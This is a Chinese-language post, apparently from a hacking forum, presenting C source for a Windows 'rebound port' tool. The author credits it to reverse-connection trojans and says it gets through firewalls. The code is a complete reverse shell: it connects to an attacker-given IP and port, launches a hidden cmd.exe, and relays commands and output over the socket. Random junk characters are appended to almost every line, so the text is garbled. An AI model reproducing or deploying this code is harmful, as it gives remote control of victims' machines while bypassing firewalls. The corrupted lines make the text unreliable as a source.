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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6$lj$8\  
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/* ============================== 49E<`f0  
Rebound port in Windows NT wWQv]c%  
By wind,2006/7 SoI"a^fY  
===============================*/ Kzfa4C  
#include #%rXDGDS  
#include rp (nGiI  
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#pragma comment(lib,"wsock32.lib") 2xN1=ug  
4#{i  
void OutputShell(); dd@qk`Zl&A  
SOCKET sClient; !U/iY%NE  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]g2Y/\)a  
9# IKb:9k  
void main(int argc,char **argv) al.~[T-O+  
{ w(zlHj  
WSADATA stWsaData; S~.:B2=5K  
int nRet; }Zu>?U  
SOCKADDR_IN stSaiClient,stSaiServer; xv4_q-r[  
sk.<|-(o  
if(argc != 3) <O>1Y09C/  
{ ?kqo~twJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,W;\6"Iwx'  
return; w O;\,zU  
} Kz:g9  
5zWxI]4d\  
WSAStartup(MAKEWORD(2,2),&stWsaData); QWp,(Mv:r  
VImcW;Xa  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C0|<+3uND=  
'5\7>2fI  
stSaiClient.sin_family = AF_INET; /p+ (_Y  
stSaiClient.sin_port = htons(0); id="\12Bw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {f3&s4xj=  
BFmd`#{l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Dm?>U1{   
{ rV>/:FG  
printf("Bind Socket Failed!\n"); po~V{>fUm  
return;  c %w h  
} @0S3`[/U  
S\RjP*H*  
stSaiServer.sin_family = AF_INET; ~3< Li}W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {p&L wTnf  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  ^AS*X2y  
gDU~hv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) t84(kzcC  
{ }u8o*P|,  
printf("Connect Error!"); ^tc2?T  
return; n8n(<  
} -`x$a&}  
OutputShell(); [HGGXgN  
} .]}kOw:(#  
?kEcYD  
void OutputShell() _-$O6eZ  
{ eY^;L_7}p  
char szBuff[1024]; pCS2sq8RC  
SECURITY_ATTRIBUTES stSecurityAttributes; 6m"_=.k%  
OSVERSIONINFO stOsversionInfo; yNMnByg3?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *u^N_y  
STARTUPINFO stStartupInfo; L5=Tj4`  
char *szShell; {KYbsD  
PROCESS_INFORMATION stProcessInformation; !{tkv4  
unsigned long lBytesRead; ,y@`wq>O  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a "uO0LOb  
4)./d2/E  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x;ym_UZ6e  
stSecurityAttributes.lpSecurityDescriptor = 0; \' (_r  
stSecurityAttributes.bInheritHandle = TRUE; iTJSW  
t>p!qKrE'J  
lL_M=td8W  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GInU7y904  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W&23M26"{  
*T\- iICw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q|/uL`_ni  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8q*MhH>6I  
stStartupInfo.wShowWindow = SW_HIDE; U9GmkXRix  
stStartupInfo.hStdInput = hReadPipe; pcwkO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mVFz[xI  
-7\Rl3c  
GetVersionEx(&stOsversionInfo); <Hw)},_*  
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switch(stOsversionInfo.dwPlatformId) R r7r5  
{ Rd7[e^HSN  
case 1: wmbjL=f Ia  
szShell = "command.com"; yDh(4w-~gk  
break; e]R`B}vO  
default: \-3\lZ3qj  
szShell = "cmd.exe"; D5x }V  
break; 0T-y]&uo  
} mGR}hsQpn  
<\uz",e}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /Qi;'h]  
&iCE/  
send(sClient,szMsg,77,0); vM@2C'  
while(1) U%oh ?g  
{ ~^jdiy5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .1R:YNx{/  
if(lBytesRead) P9h]B u  
{ rrBu6\D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :l<)p;\  
send(sClient,szBuff,lBytesRead,0); wO:!B\e  
} f@U\2r  
else C%P)_)- -V  
{ CMI'y(GN  
lBytesRead=recv(sClient,szBuff,1024,0); ivL}\~L  
if(lBytesRead<=0) break; 5y]1v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v_-S#(  
} wBlfQ w-N  
} 3J t_=!qlo  
\z>Re$:  
return; ^wesuW@=  
}
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